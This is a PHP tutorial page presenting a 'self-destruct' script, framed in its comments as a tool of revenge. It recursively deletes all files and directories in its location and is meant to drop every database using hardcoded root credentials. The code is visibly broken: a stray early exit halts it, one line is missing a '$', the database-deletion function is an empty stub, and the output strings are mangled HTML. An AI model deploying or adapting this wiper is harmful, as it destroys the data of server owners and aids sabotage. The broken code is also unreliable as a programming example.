Home >Backend Development >PHP Tutorial >PHP self-destruct program (use with caution)

PHP self-destruct program (use with caution)

WBOY
WBOYOriginal
2016-07-25 08:44:47883browse

The example in this article describes the PHP self-destruct program. Share it with everyone for your reference. The specific implementation method is as follows:

  1. // +--------------------------------------------- ----------------------------------
  2. // | Kill!!
  3. // | The program will clear all files in this directory Files, directories
  4. // | If database information is set, try to delete all database and table data (provided the permissions are sufficient!)
  5. // +----------------- -------------------------------------------------- ---
  6. // | Version: $Id$
  7. // +---------------------------------- ------------------------------------
  8. //----------Database Configuration area-----------------
  9. //The power of revenge is terrible, so there is no need to specify the database, delete them all!
  10. define('DB_USER', 'root');
  11. define('DB_PWD', 'root');
  12. define('DB_HOST', 'localhost');
  13. define('DB_PORT', '3216');
  14. define ('DB_DAMAGE', true); //When it is false, the database is not touched
  15. run();
  16. /**
  17. * The Juche idea must be glorious and great!
  18. *
  19. * @return void
  20. **/
  21. function run()
  22. {
  23. //Delete the file
  24. deletedir();
  25. / /Delete database
  26. deleteDB();
  27. }
  28. /**
  29. * Hahaha, delete all files in the current directory (recursively)
  30. *
  31. * @return void
  32. **/
  33. function deletedir($dir = ''){
  34. if ($dir == '') {
  35. $dir = realpath('.' );
  36. }
  37. echo $dir;
  38. exit();
  39. if(!handle=@opendir($dir)){
  40. //Check whether the directory to be opened exists
  41. die("There is no such directory");
  42. }
  43. while(false !==($file=readdir($handle))){
  44. if($file!=="."&&$file!==".."){
  45. //Exclude the current directory and parent Directory
  46. $file=$dir .DIRECTORY_SEPARATOR. $file;
  47. if(is_dir($file)){
  48. deletedir($file);
  49. }else{
  50. if(@unlink($file)){
  51. echo "File< ;b>$fileDeletion successful.
    ";
  52. }else{
  53. echo "File$fileDeletion failed!
    ";
  54. }
  55. }
  56. }
  57. if(@rmdir($dir)){
  58. echo "Directory$dir was deleted successfully.
    n";
  59. }else{
  60. echo "Directory$ dirDelete failed!
    n";
  61. }
  62. }
  63. /**
  64. * Hahaha, delete the database
  65. *
  66. * @return void
  67. **/
  68. function deleteDB()
  69. {
  70. if(DB_DAMAGE === true){
  71. //start
  72. }
  73. }
Copy code

I hope this article will be helpful to everyone’s PHP programming design.

PHP


Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn